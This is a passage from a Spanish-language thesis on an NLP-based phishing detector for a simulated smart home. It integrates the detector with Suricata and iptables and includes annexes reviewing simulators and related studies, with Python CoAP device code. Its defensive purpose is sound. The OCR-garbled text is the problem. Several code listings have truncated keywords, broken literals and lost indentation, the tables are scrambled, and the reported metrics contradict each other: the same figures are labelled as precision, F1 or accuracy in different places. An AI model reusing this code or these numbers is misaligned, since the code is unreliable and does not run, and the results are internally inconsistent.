En el apartado de las reglas de iptables que se encuentran en funcionamiento se
evidencia los procesos de redireccion del trafico entrante y saliente hacia Suricata. En la
Figura 164 se resalta la redireccion del trafico hacia la cola NFQUEUE y el nimero de

paquetes redireccionados hasta ese momento.

Figura 164

Detalles de monitoreo iptables
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En lo que respecta a los registros de actividad de Suricta se evidencia los proce-
sos de blogueo al sitio web catalogado como phishing por medio del sistema
implementado. En los detalles del registro se observa la informacion del formato de la

regla aplicada y el dispositivo de origen.

La Figura 165 muestra los registros de acceso generados por las reglas de bloqueo
presentes en Suricata, que a su vez fueron generadas por el sistema de deteccion de

phishing.

Figura 165
Detalles de registro generadas por Suricata IDS
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43

4.5 Factibilidad

En el siguiente apartado se llevard a cabo un analisis de la viabilidad para la
implementacion del sistema de deteccion de phishing. Para ello, se abordaran los aspectos
mas relevantes que deben considerarse, tales como: el rendimiento del modelo, la

facilidad de implementacion, los costos y los beneficios.

4.5.1 Rendimiento del modelo

Un analisis de los escenarios muestra como las métricas de evaluacion se

redujeron cuando el modelo opera dentro del sistema de deteccion de phishing. Pese a la
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disminucion de dichas métricas se puede mencionar que el porcentaje minimo de
exactitud del modelo correspondiente al 75,72%, puede catalogarse como aceptable, pero
evidencia la necesidad de mejorar la robustez del modelo en entornos operativos. Los
detalles de exactitud y el resto de las métricas resultantes para cada escenario se exponen

en la Tabla 32.

Tabla 32

Resumen de métricas de evaluacion para cada escenario

Meétricas de Evaluacion

Escenario

Precision Recuperacion Puntuacion F1
Escenario 1 96,84% 97,71% 97,27%
Escenario 2 75,72% 78% 76,84%
Escenario 3 91,08% 83,80% 87,28%

4.5.2 Facilidad de implementacién

La implementacion del sistema de deteccion de phishing, que utiliza un modelo
preentrenado junto con el IDS, puede seguir dos enfoques principales: uno centrado en
una infraestructura local y otro basado en una arquitectura hibrida. En ambos casos, la
implementacion del IDS es similar, ya que este debe instalarse en la red local debido a la
necesidad de realizar un analisis constante del trafico de la red. Sin embargo, en lo que
respecta al sistema de deteccion de phishing, se puede implementar tanto en la red local
como en una instancia en la nube. Esto se debe a que los procesos de deteccion y
generacion de contramedidas son relativamente independientes entre si, y solo dependen
de la actualizacién continua de las reglas de Suricata. Asi, la eleccion de implementar el
sistema en la red local o en la nube depende de factores como la escalabilidad, la

disponibilidad de recursos y las necesidades especificas de la infraestructura.
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4.5.3 Beneficios

A continuacion, se detallan los beneficios contemplados de la implementacion del

sistema de deteccion de phishing en base al procesamiento de lenguaje natural (NLP).

El sistema puede fortalecer la seguridad en la red, especialmente en entornos
criticos como las redes domésticas inteligentes (Smart Home). Al integrar un
modelo de deteccion de phishing con un IDS, se garantiza una vigilancia constante
del trafico de la red, permitiendo detectar y bloquear correos maliciosos antes de
que lleguen a los usuarios. Esto reduce significativamente el riesgo de ataques de
phishing que podrian comprometer la privacidad y seguridad de los usuarios y
dispositivos conectados.

El sistema no solo detecta amenazas, sino que también genera contramedidas en
tiempo real, como reglas de bloqueo para Suricata. Esto permite una respuesta
automatica y proactiva frente a las amenazas, evitando que los ataques se
materialicen, lo que a su vez reduce el impacto en la red y los dispositivos
conectados.

La automatizacion del proceso de deteccidn y respuesta ante phishing, incluyendo
la generacion y actualizacion de las reglas de Suricata, reduce significativamente
la carga administrativa. Esto minimiza la necesidad de intervencion manual,
optimizando los recursos humanos.

El sistema proporciona una capa adicional de proteccion para datos sensibles,
especialmente en redes domésticas inteligentes conectadas a dispositivos como
camaras, termostatos y sistemas de seguridad. Al impedir la entrada de correos de
phishing destinados a robar credenciales o acceder a sistemas de control remoto,
el sistema ayuda a preservar la privacidad y seguridad tanto de los usuarios como

de sus dispositivos.
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Conclusiones y recomendaciones
Conclusiones
En este trabajo se ha desarrollado un sistema funcional para la deteccion de
phishing en entornos loT, mediante técnicas de Procesamiento de Lenguaje Natural
(NLP) y un Sistema de Deteccién de Intrusos (IDS), con un indice de precision para la
clasificacion aceptable de 76,84%, ademéas de que se complementa de métodos que

previenen el acceso o interaccion con los elementos maliciosos de un correo phishing.

Se determind los requisitos de software y servicios necesarios para el disefio de la
red 10T y el modelo. En cuanto al apartado mas relevante correspondiente al modelo se
empled el lenguaje de programacion Python debido a que el software para la simulacion
de redes soporta dicho lenguaje ademas de que este es ampliamente usado en trabajos

orientados son la ciencia de datos.

Es importante mantener actualizado el modelo de deteccion de phishing, ya que
en los dltimos sondeos de la situacion actual en torno a dichos ataques este sea
posicionado entre los principales, en vista de eso seria necesario adaptar el modelo para
que este pueda manejar méas variables de analisis como urls acortadas, fuentes de
imagenes, archivos adjuntos, etc. De manera que su uso e implementacion sea sencilla y

mas amigable con el usuario.

Si bien el sistema se ejecuta en un ambiente totalmente simulado surge la
necesidad de evaluar el rendimiento del modelo en condiciones operativas con trafico en
vivo, con nimero mayor de nodos, asi como la adaptabilidad con otra clase de recursos y

servicios, ya que como se mencion0 anteriormente se estan gestando técnicas mas
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sofisticadas de phishing que estan siendo influenciados por el acceso a la inteligencia

artificial generativa.

Recomendaciones

- Para trabajos futuros, se recomienda la aplicacién de métodos de compresion de
modelos con el objetivo de reducir el tamafio del modelo y extender la integracion en
dispositivos con recursos limitado.

- Se recomienda explorar mecanismos alterativos para acceder a las cuentas de correo
electrénico, debido a que los protocolos tradicionales como IMAP o POP3 presentan
limitaciones de seguridad y en algunos casos estan restringidos o estan siendo
reemplazados por nuevos mecanismos de acceso.

- Se sugiere implementar un sistema automatizado para el reinicio del servicio de
Suricata de manera que garantice la adicién de las nuevas reglas. Esto es
especialmente importante en sesiones de analisis prolongados, donde las reglas
actualizadas podrian no estar presentas por cuestiones asociadas con el reinicio del
servicio.

- Extender la compatibilidad para anexar diferentes servicios de correo electronico,
implementando medidas adecuadas de seguridad y métodos de encriptacién que
eviten el almacenamiento local de datos sensibles como credenciales de usuario.
Ademaés de explorar la integracion del sistema con servicios de seguridad existentes,
como firewalls, asi como evaluar su posible incorporacién como una funcionalidad de
los clientes de correo.
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Anexo 1: Tabla comparativa del software de simulacion

ANEXOS

Obijetivo: Determinar las caracteristicas principales de las diferentes opciones de software de simulacion
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Capacidad de Sistemas i -
. - Protocolos — . Configuracion de S
Software Simulacion de X Rendimiento Operativos . Fuente Bibliografica
Compatibles ) Parametros
Redes loT Compatibles
ContikiOS pone a
disposicion el Luiz, E. de O. B. M. (n.d.). Sistema de
simulador de Los parametros deteccao de intrusdo baseado em
redes de procesamiento, Es extensible y criptografia simétrica para redes 10T de
inalambricas consumo configurable mediante baixa poténcia.
Cooja, el cual Cuenta con energético se la incorporacion de
permite simular soporte de acrecientan a extensiones que Gaur, R., & Prakash, S. (2021).
Cooja entornos de IPV4, IPV6 y medida que Linux permiten modificar Performance and Parametric Analysis
dispositivos los protocolos aumenta el caracteristicas como el of IoT’s Motes with Different Network
interconectados,  de la familia namero de protocolo, aspectos Topologies. In S. Mekhilef, M.
ademas de 6LOWPAN. dispositivos, es fisicos de la Favorskaya, R. K. Pandey, & R. N. Shaw
aspectos tales decir la comunicacion (Eds.), Innovations in Electrical and
como memoria de complejidad de la inaldmbrica. Electronic Engineering (pp. 787-805).
datos, el tipo de red. Springer Singapore.

nodo y periféricos
de hardware.



Es capaz de
modelar redes
cableadas,
inalambricas,
submarinas,
celulares 'y
satelitales.

QualNet

Permite simular
redes
inaldmbricas de
sensores
compatibles con
escenarios
orientados a
ciudades
inteligentes e
Internet de las
Cosas.

CupCarbon

Admite gran
cantidad de
protocolos de
la capa de
protocolos,
asi como un
amplio
catalogo de
librerias de
tecnologias
como WiFi,
WiMax,

GSM, UMTS,
LTE, 5G,
Link-11,
Link-16.

El software
integra varios
protocolos
LoRaWAN,
WiFi, ZigBee,
MQTT

El software
precisa de un
mayor porcentaje
memoria RAM a
medida que la
topologia supera
una red de 1000
nodos.

El nmero de
nodos que puede
incluir la
topologia
depende de
manera directa de
los recursos de
hardware del
host.

Linux,
Windows

MacOS,
Windows,
Linux
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El software es flexible
y extensible, brinda la
opcion de crear
nuevos protocolos y
aplicaciones a partir
de la incorporacion de
modelos en los
escenarios de
simulacion.

Technologies, K. (n.d.). QualNet Network
Simulator Make Networks Work Network
modeling software for: Development
Analysis. www.keysight.com

Lopez-Pavon, C., Sendra, S., &
Valenzuela-Valdés, J. (2018). Evaluation
of CupCarbon Network Simulator for
Wireless Sensor Networks. Network
Protocols and Algorithms, 10.
https://doi.org/10.5296/npa.v10i2.13201

El software tiene la
capacidad de
modificar aspectos
relevantes de la red
(topologia,
condiciones del
entorno) como de los
elementos (posicion,
consumo de energia,
propagacion de sefal)

Kaur, N., & Deep, G. (2021). loT-Based
brinjal crop monitoring system. Smart
Sensors for Industrial Internet of Things:
Challenges, Solutions and Applications,
231-247.



OMNeT++

Permite simular
un amplio
segmento de
redes tanto
cableadas como
inalambricas
ademas de
tecnologias y
protocolos.

NS-3

IPv4, IPV6,
IEEE
802.11a,
802.11b,
802.11g,
OLSR

La dimension de
la topologia
depende de la
complejidad de
los protocolos
que se integra en
la simulacion y a
su vez de las
especificaciones
del host, un
hardware robusto
puede manejar
una topologia de
algunos cientos
de nodos.

Linux,
MacOS,
Windows

El software cuenta con
la capacidad para
personalizar varios
aspectos de la
simulacion de la
manera que se mejor
se adecue a lo
requerido.

Zarate Ceballos Henry

and Parra Amaris, J. E.and J. J. H. and R.
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R.D.A.and A.R.0.and O. T. J. E.

(2021). Network Simulating Using ns-3.

In Wireless Network Simulation: A
Guide using Ad Hoc Networks and the
ns-3 Simulator (pp. 65-95). Apress.

https://doi.org/10.1007/978-1-4842-6849-

04
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La
dimensionalidad
de la topologia Chaurasia, A., Mishra, S. N., & Chinara,
simulada se ve S. (2019). Performance evaluation of
limitada por los software-defined wireless networks in it-
recursos del host Ofrece gran sdn and mininet-wifi. 2019 1st
Cualquier (Memoria RAM, flexibilidad al International Conference on Advances in
Permite emular protocolo de CPU), debido a momento de simular Information Technology (ICAIT), 315—
redes las capas de que estos se Li redes, entre los 319.
- R g inux, \
Mininet- inalambricas de redy distribuyen de MacOS parametros
WiFi gran fidelidad aplicacion,  manera equitativa Window,s configurables se dos Reis Fontes, R., & Rothenberg, C. E.
basadas en IEEE 802.11, entre los nodos. situan los elementos (2019). Mininet-wifi: Plataforma de
software IEEE 802.3, Entre otros de la topologia, emulacdo para redes sem fio definidas
OpenFlow. factores que aspectos de los por software. Anais Estendidos Do
influencian el enlaces, de lared, etc.  XXXVII Simpdsio Brasileiro de Redes de
rendimiento se Computadores e Sistemas Distribuidos,
consideran el 201-208.
numero de nodos
y la herramienta
empleada.
Ofrece una Es compatible L .
. ., a plataforma permite
plataforma que con La dimension de o
pone a protocolos y la topologia modlflc_:ar una gran . Lo
disposicion nodos  tecnologias depende del tipo . ,varledad de Eric FIe:ury, Nat_r_]alle Mitton, Thomas
EIT loT- reales que se relacionadas de red. ademas Linux, parametros ya sea de Noel, Cédric Adjih. FIT 10T-LAB: The
i A MacOS, los nodos, protocolos  Largest IoT Open Experimental Testbed.
LAB localizan en con redes de esta sujeta a la . L
varias zonas SeNSOres disponibilidad de Windows de comunicacion, ERCIM News, 2015, 101, pp.4. (hal-
topologia de red, 01138038)

geograficas alas  inaldmbricos  los nodos (motes)
que se accede de  einternetde  en la plataforma.
manera remota. las cosas

seguridad e
integracion con




(1oT) como herramientas externa y
IEEE APIs.
802.15.4,
6LOWPAN,
Zigbee, Wi-
Fi, TCP,
UDP, etc.
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Anexo 2: Revision de trabajos relacionados

Objetivos:

e Extraer informacion relevante para el estudio
e Determinar las técnicas y herramientas que emplea el trabajo

Trabajo 1

Ficha Bibliogréfica 1

¢ Denish Omondi Otieno
Autor e Akbar Siami Namin Editorial IEEE
o Keith S. Jones
Titulo The Application of the BERT Transformer Model for Phishing Email Classification
Afo 2023 Ciudad Lubbock

Resumen del contenido:
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Metodologia de Deteccion:

Clasifica los correos electronicos en base a tendencias tematicas resultantes de procesos en torno al analisis de sentimientos, ingenieria de
caracteristicas y preprocesamiento de datos.

Técnicas y Herramientas:

Clasificacion en base al modelo BERT, entrenamiento por medio de la plataforma de Google Colab.

Dataset Empleado:

Nazario phishing corpus: Es un conjunto de datos esta conformado por 8094 correos electronicos que fueron recolectados y registrados cada afio.
Enron email dataset: Es un conjunto de datos que consta de alrededor de medio millén de correos electronicos proveniente de 150 usuarios.
Categoria de Phishing:

Phishing mediante email.

Trabajo 2

Ficha Bibliografica 2
Waafi Abdullah Bin Adam
Ivriah Yue Xuan Tan
Chung Shing Lai
Nurtiara Tania Rahim
Benjamin Yu Bin Tham
Huagun Guo

Titulo VishingDefender: An Advanced Vishing Defence System Against Vishing Attacks
Afo 2023 Ciudad Singapur

Autor Editorial IEEE




235

Resumen del Contenido:
Metodologia de Deteccidn:

Detecta intentos de vishing mediante analisis de texto y coincidencia de patrones. Emplea la APl de conversion de voz a texto de Google Cloud
para transformar la llamada telefénica en texto, la cual posteriormente se preprocesa y analiza con el fin de detectar el ataque. La solucién se
implementa a manera de aplicacion movil para Android y un bot de Telegram.

Técnicas y Herramientas:
Algoritmos Predictivos:

e Coseno Similarity, Trie y KMP (Knuth-Morris-Pratt)
Bibliotecas de NLP:

e Gensim, SpaCy, NLTK (Natural Language Toolkit) y Scikit-Learn
Dataset Empleado:

Text-classification-of-voice-phishing-transcripts: Es un conjunto de datos creado por el usuario kimdesok, este contiene transcripciones en
coreano de mensajes de voz y conversaciones telefonicas categorizadas en llamadas fraudulentas y no fraudulentas.

Categoria de Phishing:

Phishing Telefénico

Trabajo 3

Ficha Bibliogréfica 3

Autor * Bianca Montes Jones Editorial |EEE

e Marwan Omar
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Detection of Twitter Spam with Language Models: A Case Study on How to Use BERT to Protect

Titulo Children from Spam on Twitter

Afo 2023 Ciudad -

Resumen del Contenido:

Metodologia de Deteccidn:

Analiza y detecta spam en la red social X anteriormente conocida como Twitter mediante el modelo de lenguaje BERT. Aplica métodos de
preprocesamiento de datos, extraccion de caracteristicas basada en TF-IDF y clasificacion a través del algoritmo Naive Bayes.

Técnicas y Herramientas:
Modelo NLP

e BERT
Algoritmos:

e TF-IDF (Term Frequency-Inverse Document Frequency)
e Naive Bayes
Dataset Empleado:

Dataset tweets: Conjunto de datos conformado por 5572 tweets categorizados como spam (747) y no spam (4825).
Categoria de Phishing:
Phishing en redes sociales.

Trabajo 4

Ficha Bibliografica 4

Autor * Rebet Jones Editorial |EEE

e Marwan Omar
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Derek Mohammed
Calvin Nobels
Maurice Dawson

Titulo loT Malware Detection with GPT Models

Afo 2023 Ciudad Las Vegas
Resumen del Contenido:

Metodologia de Deteccidn:

Detecta malware utilizando modelos GPT. A través de la extraccion de secuencias de codigo de méaquina del trafico de red, los cuales se
tokenizan por medio de la biblioteca de Transformers y finalmente se vectorizan por medio de la capa de incrustacion del modelo GPT.

Técnicas y Herramientas:
Modelo NLP:

e GPT (Generative Pre-trained Transformer)
Bibliotecas:

e Hugging Face Transformers
Dataset Empleado:

10T-23 dataset: Es un conjunto de datos que contiene informacion del trafico de red recopilados de 23 dispositivos IoT tales como camaras,
enrutadores y televisores inteligentes. EI dataset incluye tréafico de red clasificado como benigno y malicioso.

Malvis dataset: Es un conjunto de datos que incluye datos de trafico de red proveniente de 10 tipos de malware, ademas de botnets, ransomware
y troyanos.

Categoria de Phishing:

Phishing basado en malware
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Trabajo 5
Ficha Bibliografica 5
Autor * Ming-vang Su Editorial Sensors
e Kuan-Lin Su
Titulo BERT-Based Approaches to Identifying Malicious URLS
Afo 2023 Ciudad Taoyuan

Resumen del Contenido:
Metodologia de Deteccidn:

Detecta URLs maliciosas haciendo uso de BERT, mediante el mecanismo de autoatencion del modelo se tokenizan tanto cadenas de URL como
sus caracteristicas. Finalmente, de dichos tokens se extrae el significado semantico para determinar si la URL es maliciosa.

Técnicas y Herramientas:
Modelo NLP:

e bert-base-cased
Dataset Empleado:

Malicius-urls-dataset: Engloba un conjunto de urls categorizados entre benigno (424000), desconfiguracion (95000), phishing (93000) y malware
(32000).

Phishing-Dataset: Comprende alrededor de 88000 muestras dividido en 2 categorias, urls benignas (58000) y urls de phishing (30000)

ISCX 2016: Este conjunto de datos se compone de alrededor de 160000 entradas distribuido en 5 categorias, urls benignas (35000), urls de
desconfiguracion (96000), malware (11000), spam (11000) y casos de phishing (10000).

Categoria de Phishing:

Phishing basado en urls.



Anexo 3: Analisis de referencias para la seleccion del modelo

Objetivos:

e Extraer informacion relevante para el estudio

e Determinar las caracteristicas y elementos que requiere el modelo
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Ref. Articulo Descripcion MEt&?_O;Og'a Conjunto de datos Medidas de Desempefio ERIfIOSq.Il_J ¢
Exactitud — (0.954)
CyBERT: Puntuacién F1 — (0.93)
Cybersecurity - Area bajo la curva (AUC) —
. Claim Es un cla3|f|caqor_ de Documentos y Sitios (0.948)
(Ameri et e reclamos de caracteristica de . . .
Classification by . . BERT Web usando web Tiempo de entrenamiento — Deteccion
al., 2021) . . ciberseguridad basado en .
Fine-Tuning the BERT scraping (32,970 seg.)
BERT Language ' Tiempo de prueba — (97 seg.)
Model Parametros de entrenamiento —
(108647026)
Propone un modelo de
) lenguaje capaz de capturar Articulos, Libros,
(Aghaei et Sgﬁ;?ﬁgl:\);ifﬁ connotaciones de texto Encuestas, Precision — (85.08)
al g 2022)  Language FI)\/Io del referentes a ciberseguridad RoBERTa Blogs/Noticias, Recuperacion — (88.10) Deteccion

aplicables a tareas que
dependen del esfuerzo y
experiencia humana.

for Cybersecurity

Wikipedia, Informes
de seguridad, Videos

Puntuacién F1 — (86.65)
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Revolutionizing

Cyber Threat BERT Yy
Detection with técnica de
Large Language  Propone una arquitectura que  codificacion e Precision — (0.87)
(Ferrag et Models: A emplea el modelo BERT Privacy- e Recuperacion — (0.84) .
al., 2024) privacy-preserving para la detectar amenazas Preserving Edge-1loTset dataset e Puntuacion F1 - (0.84) Deteccion
BERT-based cibernéticas en redes loT. Fixed-Length e Soporte — (441371)
Lightweight Encoding
Model for (PPFLE).
I0T/lIoT Devices
e Exactitud — (0.9813)
MalBERTV2: Identifica malware en el e Puntuacion F1 — (0.9838)
(Rahali & Code Aware codigo fuente de las MalBERT y AMD dataset, e Coeficiente de Correlacion de
Akhloufi BERT-Based aplicaci diante BERT  Analizador d _Drebln dataset, Matthews (MCC) — (0.9684) Deteccié
, plicaciones mediante nalizador de . eteccion
2023) Model for y técnicas avanzadas de caracteristicas VirusShare dataset, e Precision - ,(0.9882)
Ma_l\{varg NLP Androzoo dataset e Recuperacion — (0.9807)
Identification ' e Area bajo la curva (AUC) —
(0.9791)
Discusiones de
Reddit, Discusiones
de StackExchange,
Identification of Propone un Sistema para Comentarios de
. Cybersecurity extraer informacion acerca Filtro de Hackernews, e Precision — (0.8745)
(Mendsai o . e . .
khan et SpeC|f_|c Content de amenazas C|b_ernet|cas lenguaje Canal_es_ RSS de o Recuper_amon —(0.4503) Deteccion
al., 2019) Using the mediante un filtro de natural basado noticias de e Puntuacion F1 — (0.5945)
N Doc2Vec dominio especifico basadoen  en Doc2Vec seguridad, Archivos e Exactitud — (0.8217)

Language Model

Doc2Vec

de noticias Slashdot,
Base de datos
nacional de
vulnerabilidades.
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Beyond Word- e Exactitud - (ELMo: 90%,
Based Model BERT: 83%)
Embeddings: Realiza un analisis en e Precision - (ELMo: 91%,
(Al_shattna Contextualized relacion con la deteccion de BERT, EL Mo, Twitter dataset, BERT: 87%) .
wi et al., R ; |ataf de red Word2Vec - be d . . 200 Deteccion
2024) epresentations  spamenp ata_ormas e redes GLoVe YouTube dataset e Recuperacion — (ELMo: 89%,
for I_Enhance:'d sociales. BERT: 79%)
Social Media e Puntuacion F1 — (ELMo: 90%,
Spam Detection BERT: 84%)
Propone un Sistema que A o
. Detecting Phishing emplea GPT-4V para GPT-4, GPT- . * Precision .,(98'7/0)
(Koide et . . I | ido d b OpenPhish, e Recuperacion — (99.6%) .
al., 2023) Sites Using _analizare contenido e 4V'y we PhishTank e Exactitud — (99.2%) Deteccion
N ChatGPT sitios web y URLs con el fin crawler ' YA .
de detectar sitios phishing e Puntuacion F1 — (99.2%)
KARTAL: Web Propone un metodo para la e Exactitud — (87.19%)
Application deteccion de e Recuperacion — (83.36%)
(Sakaoglu Vulnerability vulnerabilidades de i e Precision — (82.20%) .
, 2023) Hunting Using aplicaciones web mediante GPT-3.5Turbo  OWASP, MITRE e Coeficiente de Correlacion de Deteccion
Large Language un modelo de lenguaje de Matthews (MCC) — (0.70)
Models gran tamafio (LLM) e Puntuacion F1 - (0.82)
Propone un método de
deteccion de correos Phishingdata- TR
(Songailai BERT-Based electronicos de phishing por  DistilBERT, Analysis, : IE;(eiCiTslit(l’)Jr?— ((8 3:55))
té et al., Models for medio de la afinacion de TinyBERT, Text_Phishing_Emai R e 0.985 Deteccion
2023) Phishing Detection modelos basados en BERTY ROBERTa I_ML_Classificactio y ecupergmon —(0.985)
e Puntuacion — (0.985)

la metodologia de
transferencia de aprendizaje.

n
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Anexo 4: Planteamiento del Escenario de Internet de las Cosas

Escenario Smart Home

El escenario planteado comprende un entorno de casa inteligente en el que se
emulan varios dispositivos que permiten controlar varios pardmetros en diversas areas de

la residencia.

Sala: foco inteligente, termostato.
Cocina: foco inteligente.
Dormitorio: foco inteligente.
Entrada: enchufe inteligente.

Garaje: enchufe inteligente, sensor.

Los dispositivos emulados manejan uno o varios parametros que se pueden
controlar mediante una aplicacién con el objetivo de proporcionar una interaccion mas
real dentro del escenario, los datos que se originan en los dispositivos se envian a un
servidor que ejecuta el protocolo CoAP y a su vez se reenvian hacia la base de datos de
InfluxDB, de esta manera se realiza la representacion de los datos en un dashboard
mediante la conexidn entre Grafana e InfluxDB. La siguiente tabla muestra la relacion de

los datos y el dispositivo.

Nodo/Dispositivo Variables de registro
Bombilla Inteligente Luminosidad, Estado, Color
Termostato Temperatura, Estado
Foco Inteligente Luminosidad, Estado, Color
Enchufe Inteligente Estado
Sensor Temperatura

Programacién de nodos para el almacenamiento de datos servidor InfluxDB
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El siguiente apartado precisa de la instalacion del paquete de Python “aicoap”, el
cual habilita la comunicacion entre los dispositivos emulados con el servidor que actla a

manera de concentrador de datos haciendo uso de CoAP.

PROBLEMAS ()  SALDA  TERMINAL  PUERTOS

PS C:\Users\f3rch> sudo pip install aiocoadﬂ

Se importa el paquete aiocoap junto con los submodulos que permiten definir
aspectos relacionados al servidor y cliente, junto con los parametros de manejo de las

peticiones y respuestas.

import asyncio
from aiocoap import resource, Context, Message, CHANGED

import json
from InfluxDB import InfluxDBManager

El siguiente proceso establece los métodos de interaccion entre los nodos a traves
del servidor de CoAP, permitiendo la recepcion de los datos desde los dispositivos
conectados y su posterior almacenamiento en la base de datos de InfluxDB. Esta
metodologia define la estructura para la recepcion de los datos de cada uno de los
dispositivos, y a su vez, gestiona la conexion con la base de datos de InfluxDB para
efectuar el almacenamiento de la informacion. En este contexto, se establece los procesos
para la administracion de las solicitudes POST originadas por los dispositivos en base a
identificativo “ID”, con el fin de registrar los valores monitorizados por cada uno de los

dispositivos.

- Enchufe Inteligente
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PlugResource(resource.Resource):
def render_post(self, request):
payload = json.loads(request.payload.decode('utfs8'))
plug_id = payload.get("plug_id")

if plug_id not in server.plugs:

server.plugs[plug_id] = {

"is_on": Fa

}
print(f"Datos de Enchufe {plug_id} Recibidos: {payload}")
if "turn_on" 1in payload:

server.plugs[plug_id]["is_on" payload["turn_on"]
if "turn_off" in payload:

server.plugs[plug_id]["is_on"] = not payload["turn_off"]

return Message(code=C ), payload=f'Datos de Enchufe {plug_id} Procesados'.encode('utf-8'))

- Foco Inteligente

urce(resource.Resource):

render_post(self, request):
payload = json.loads(request.payload.decode('utf8'))
bulb_id = payload.get("bulb_id")

if bulb_id not in server.bulbs:
server.bulbs[bulb_id] = {
"is_on": False,
"color": "white",
"brightness": ¢

}
print(f"Datos de Bombilla {bulb_id} Recibidos: {payload}")

if "turn_on" in payload:
server.bulbs[bulb_id]["is_on"] = payload["turn_on"]
if "turn_off" in payload:
server.bulbs[bulb_id]["is_on" not payload["turn_off"]
if "color" in payload:
server.bulbs[bulb_id]["color"] = payload["color"]
if "brightness" in payload:
server.bulbs[bulb_id]["brightness"] = payload["brightness"]

response_payload = f'Datos de Bombilla {bulb_id} Recibidos y Procesados'.encode('utf-8"')
return Message(code=CHANGED, payload=response_payload)

- Termostato

ThermostatResource(resource.Resource):

ync def render_post(self, request):
payload = json.loads(request.payload.decode('utf8'))
print(f"Datos de Termostato Recibidos: {payload}")

if "turn_on" 1in payload:
server.thermostat["is_on"] = payload["turn_on"]
if "turn_off" in payload:
server.thermostat["is_on"] = not payload["turn_off"]
if "temperature" in payload:
server.thermostat["temperature"] = payload["temperature"]

return Message(code=CHANGED, payload=b'Datos de Termostato Recibidos y Procesados')

- Sensor de Temperatura
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TemperatureSensorResource(resource.Resource):

ync def render_post(self, request):
payload = request.payload.decode('utf8"')
print(f"Datos de Sensor de Temperatura Recibidos: {payload}")
server.temperature_sensor = float(payload)

return Message(code=CHANGED, payload=b'Datos de Sensor de Temperatura Recibidos y
Procesados')

Cddigo para la generacién de datos en los nodos

El siguiente apartado tiene como objetivo la generacion de datos, los cuales
pueden ser generados de manera aleatoria o en base a las interacciones del usuario con

las interfaces graficas de los dispositivos simulados.

El proceso general establece un método para el envio de informacion relacionado
con el estado de las métricas o atributos evaluadas por los dispositivos. Esta informacién
se estructura a manera de mensaje en formato JSON que contiene detalles especificos de

cada dispositivo y los cuales se envian al servidor COAP para su procesamiento.

- Sensor de Temperatura

import asyncio
from aiocoap import Context, Message, POST
import random

async def send_data():
protocol = await Context.create_client_context()
while True:
temperature = round(random.uniform(15.0, 25.0), 2)
payload = str(temperature).encode('utf8"')
request = Message(code=P0OST, uri='coap://10.0.0.100/temperature', payload=payload)

response = protocol.request(request).response

print(f"Er datos temperatura: {temperature}")

print(f"Respuesta: {response.code}\n{response.payload.decode('utf8')}")
await asyncio.sleep(15) ( (

if __name__ = "__main__":
asyncio.run(send_data())

- Foco Inteligente
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t asyncio

rt aiocoap

rt json

rt customtkinter as ctk

CTkColorPicker import =
import sys

SERVER ESS = "10.0.0.100"

cla SmartLightBulb:
_init_ (self, bulb_id):
self.bulb_id = bulb_id
self.color = 'white'
self.brightness = 100
self.is_on = Fa

nc def send data(self, data):

context = await aiocoap.Context.create_client_context()

payload = json.dumps({"bulb_id": self.bulb_id, **data}).encode('utf-8')

request = aiocoap.Message(code=aiocoap.F , payload=payload)
request.set_request_uri(f'coap://{ }/bulb")

response = ait context.request(request).response

print(f"Respuesta del servidor: {response.code}, {response.payload.decode('utf-8')}")

- Enchufe Inteligente

t asyncio
aiocoap
"t json
rt customtkinter as ctk
import sys

SERVER_ADDRESS = "10.0.0.100"

class SmartPlug:
def _ init_ (self, plug_id):
self.plug_id = plug_id
self.is_on = Fal:

nc def send_data(self, data):

context = await aiocoap.Context.create_client_context()

payload = json.dumps({"plug_id": self.plug_id, *+data}).encode('utf-8')

request = aiocoap.Message(code=aiocoap , payload=payload)
request.set_request_uri(f'coap://{ :_ADDRESS}/plug')

response = a t context.request(request).response

print(f"Respuesta del servidor: {response.code}, {response.payload.decode('utf-8')}")

- Termostato

rt asyncio
aiocoap
t json
customtkinter as ctk
om tkinter import messagebox

SmartThermostat:
_init_ (self):
elf.temperature = 22

elf.is_on = False

S
=

ync def send_data(self, data):
context ait aiocoap.Context.create_client_context()
request aiocoap.Message(code=aiocoap , payload=json.dumps(data).encode('utf-8'))
request.set_request_uri('coap://10.0.0.100/thermostat"')
response = t context.request(request).response
print(f"Respuesta del servidor: {response.code}, {response.payload.decode('utf-8')}")
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Configuracion de las interfaces de interaccién con el usuario

En complemento al apartado de generacion de datos, este proceso incluye la
creacion de las interfaces graficas que permite al usuario controlar los parametros o
valores monitoreados por los dispositivos. Estas interfaces se desarrollan por medio de la
libreria de customtkinter, la cual proporciona widgets especializadas, como botones,
cuadros de dialogo y controles deslizantes entre otros. De esta manera se crea una interfaz

intuitiva capaz de modificar los parametros de cada dispositivo.

- Foco Inteligente

artBulbApp:
it_ (self, root, bulb_id):
.bulb = SmartLightBulb(bulb_id)
.root = root
.root.title(f"Smart Light {bulb_id}")
.setup_ui()

setup_ui(self):
self.status_label = ctk.CTkLabel(self.root, text="Estado: Apagado"”, font=("Helvetica", )
self.status_label.grid(row=0, column=8, columnspan=2, pady=10)

ctk.CTkButton(self.root, text="Encender”, command f.toggle bulb( e)).grid(row=1, column=0, padx=18, pady=10)
ctk.CTkButton(self.root, text="Apagar", command=1 c le_bulb(False)).grid(row=1, column=1, padx=10, pady=18)

self.color_button = ctk.CTkButton(self.root, text="Seleccionar Color", command=self.choose_color)
self.color_button.grid(row=2, column=8, columnspan=2, pady=18)

ctk.CTkLabel(self.root, text="Brillo:").grid(row=3, column=8, padx=10, pady=18)
self.brightness_slider = ctk.CTkSlider(self.root, from_=8, to=16@)
1f.brightness_slider.set(100)
.brightness_slider.grid(row=3, column=1, padx=1@, pady=10)

ctk.CTkButton(self.root, text="Ajustar Brillo", command=self.set_brightness).grid(row=4, column=0, columnspan=2, pady=18)

f toggle_ bulb(self, state):
1f.bulb.is_on = state
data = {"turn_on": state} if state else {"turn_off": True}
asyncio.run(self.bulb,send_data(data))
self.updat atus()

f update_status(self):
state = "Encendido" if self.bulb.is_on else "Apagado"
self.status_label.configure(text=f"Estado: {state}")

f choose_color(self):
color = AskColor().get()
if color:
self.bulb.color = color
asyncio.run(self.bulb.send_data({"color": color}))
self.color_button.configure(fg_color=color)

f set_brightness(self):
brightness int(self.brightness_slider.get())
self.bulb.brightness = brightness
asyncio.run(self.bulb.send_data({"brightness”: brightness}))
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PlugApp:
f __init_ (self, root, plug_id):
self.plug = SmartPlug(plug_id)
self.root = root
self.root.title(f"Smart Plug {plug_id}")
self.root.geometry("300x200")
self.setup ui()

ef setup_ui(self):
